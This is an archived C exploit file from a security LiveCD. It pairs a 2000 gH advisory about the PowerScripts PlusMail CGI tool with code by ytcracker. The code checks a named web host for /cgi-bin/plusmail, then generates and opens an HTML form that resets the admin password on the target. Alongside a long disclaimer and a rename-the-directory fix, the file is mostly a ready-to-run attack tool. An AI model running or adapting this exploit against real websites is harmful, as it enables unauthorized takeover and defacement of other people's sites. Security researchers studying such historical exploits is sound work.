home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / plusmail / plusmail3.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  177 lines

  1. /*
  2.  
  3. [gH Security Advisory]
  4.  
  5. software affected:    PowerScripts PlusMail
  6. versions affected:    All versions to current.
  7. discussion:        Read report below.
  8.  
  9. */
  10.  
  11. /*
  12.  
  13. [gH-plus.c]
  14.  
  15. title:        [gH plusmail vulnerability]
  16. date:        01.20.2000
  17. author:        ytcracker of gH [phed@felons.org]
  18. comments:    plusmail is an extremely popular cgi-based administration
  19.         tool that allows you to take control of your website
  20.         with a graphical control panel interface.  the password
  21.         file, however, is set with permissions rw enabled,
  22.         therefore granting the authority to change the password
  23.         whenever's clever.
  24.         the following code will detect the vulnerability and
  25.         generate the required html to exploit.
  26. shouts:        seven one nine.  all of gH.  www.mp3.com/category5.
  27.         herf@ghettophreaks.org for finding vulnerability.
  28.  
  29. [Advisory Information]
  30.  
  31. written by:    mosthated of gH [most@pure-security.net]
  32. vulnerable:    So far, any environment running Plusmail.
  33. report:        Noticed plusmail running on multiple operating systems.
  34.         The vulnerability lies in the web based tool, which
  35.         now that is easily exploited, gives you "ADVANCED CONTROL"
  36.         of a target website.  Below is the code by ytcracker of gH,
  37.         which demonstrates how easy it is to generate the html code
  38.         which is executed by your web browser to compromise the
  39.         target host.  We have noticed this PlusMail program is widely
  40.         used, but have yet to succeed in finding the main site for
  41.         PlusMail to acknowledge the developers of the remote 
  42.         vulnerability.
  43.  
  44.         Most likely this will be ripped out during the online trading,
  45.         because of script kids not likely this factual addition, but 
  46.         never the less, it will be expressed.  This exploit was written 
  47.         to acknowledge security weaknesses, but in no way promotes web 
  48.         page defacments.  If you further use this program to gain access 
  49.         to anything not normally accessable by yourself, meaning you 
  50.         script kids, then you are subject to be prosecuted and even get 
  51.         10 years in prison.  Is it honestly worth it to compile this program 
  52.         and randomly ./hack sites and deface them with this half way 
  53.         automatted program to put your nick & group on it?  
  54.         The answer is NO.  gh/global hell.. Heard of us?? Seen us on TV??
  55.         Read about us?? Most likely..    We've changed and gained knowledge 
  56.         from the experience....Been there done that..  The world didn't
  57.         believe that a group like this could completely go legit, the IT
  58.         professionals figured we would retaliate against the fbi and the
  59.         world was scared by misleading media articles about how we are
  60.         terrorist and destructive teens.  I ask the world now, who is helping
  61.         who?  Did the media find this vulnerability?  Did the stereotypist
  62.         who label us as "cyber gang members" find this vulnerability and allow
  63.         networks around the world to be patched before so called "destructive
  64.         hackers" gained access to them.  Answer yet again, NO, we did, not you
  65.         who falsely claim to be helping with security.  Your defacements don't
  66.         help anything, we thought it did before as well, now we realized that
  67.         it does nothing positive.  You stereotypists know nothing about gH, yet
  68.         can write articles, you're wrong.  You people think so much that you know
  69.         so much about hackers.  You know nothing, what you think you know, is
  70.         wrong.  What you don't know about us, the information is right under
  71.         your nose, yet you still can't put your finger on it.  Their are 2 sides
  72.         to the so called "hacking scene", you people should realize there will
  73.         always be a good and a bad side to most matters.  Don't exploit the
  74.         fact that you don't know anything about the whole situation, just face 
  75.         the real fact, our knowledge could be a great help to all, why not
  76.         accept us as normal people, not untrue off the wall assumptions.
  77.         If you use programs like this to deface sites, think before you use
  78.         this one, because we have been through the childish fights online
  79.         and expressed our feelings, we are still where we started, from square
  80.         one and would not have gone any farther, until we realized that what we
  81.         were doing was stupid, pathetic, futureless and illegal.  Choose
  82.         your path wisely, either stop the script kiddie bullshit or get 
  83.         your door kicked in, you decide.
  84. fix:        Move/rename the PlusMail directory as a temporary fix.
  85.  
  86. */
  87.  
  88. #include <stdio.h>
  89. #include <string.h>
  90. #include <netdb.h>
  91. #include <ctype.h>
  92. #include <fcntl.h>
  93. #include <strings.h>
  94. #include <stdlib.h>
  95. #include <unistd.h>
  96. #include <sys/types.h>
  97. #include <sys/socket.h>
  98. #include <netinet/in.h>
  99. #include <signal.h>
  100. #include <arpa/nameser.h>
  101. #include <sys/stat.h>
  102. #include <sys/socket.h>
  103.  
  104. int main(int argc, char *argv[])
  105. {
  106.     int sock;
  107.         unsigned long vulnip;
  108.  
  109.     struct in_addr addr;
  110.     struct sockaddr_in sin;
  111.     struct hostent *he;
  112.                                                                          
  113.         char *detect;
  114.     char buffer[1024];
  115.     char plusvuln[]="GET /cgi-bin/plusmail HTTP/1.0\n\n";
  116.     char htmI[]="<html><head><title>[gH plusmail exploit]</title></head><form action=\"http://";
  117.     char htmII[]="/cgi-bin/plusmail\" method=\"post\"><p>username: <input type=\"text\" name=\"username\"><br>password:
  118. <input type=\"password\" name=\"password\"><br>retype password: <input type=\"password\" name=\"password1\"></p><p><input
  119. type=\"submit\" name=\"new_login\" value=\"reset password\"></p></form><p><a href=\"http://pure-security.net\">Pure Security
  120. Networks</a></p></body></html>";
  121.  
  122.         FILE *html;
  123.  
  124.     printf("\n [gH plusmail exploit] [ytcracker] [phed@felons.org]\n");
  125.  
  126.     if(argc<2)
  127.     {
  128.         printf(" usage: %s [vulnerable website]\n\n",argv[0]);
  129.                 exit(0);
  130.     }
  131.  
  132.     if ((he=gethostbyname(argv[1])) == NULL)
  133.     {
  134.         herror("gethostbyname");
  135.         exit(0);
  136.     }
  137.  
  138.     vulnip=inet_addr(argv[1]);
  139.         vulnip=ntohl(vulnip);
  140.  
  141.     sock=socket(AF_INET, SOCK_STREAM, 0);
  142.     bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  143.     sin.sin_family=AF_INET;
  144.     sin.sin_port=htons(80);
  145.  
  146.     if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  147.     {  
  148.         perror("connect");
  149.     }
  150.  
  151.     send(sock, plusvuln,strlen(plusvuln),0);
  152.     recv(sock, buffer, sizeof(buffer),0);
  153.     detect = strstr(buffer,"404");
  154.     close(sock);
  155.      
  156.     if( detect != NULL)
  157.         {
  158.         printf(" vulnerabilty not detected.\n");
  159.                 exit(0);
  160.         }
  161.     else
  162.         printf(" vulnerability detected.  generating html...\n");
  163.     
  164.     html=fopen("plus.html","w+b");
  165.     fprintf(html,"%s",htmI);
  166.     fprintf(html,"%s",argv[1]);
  167.     fprintf(html,"%s",htmII);
  168.         fclose(html);
  169.  
  170.     printf(" spawning lynx...\n");
  171.  
  172.         system("lynx plus.html");
  173.     return 0;
  174. }
  175.  
  176.  
  177.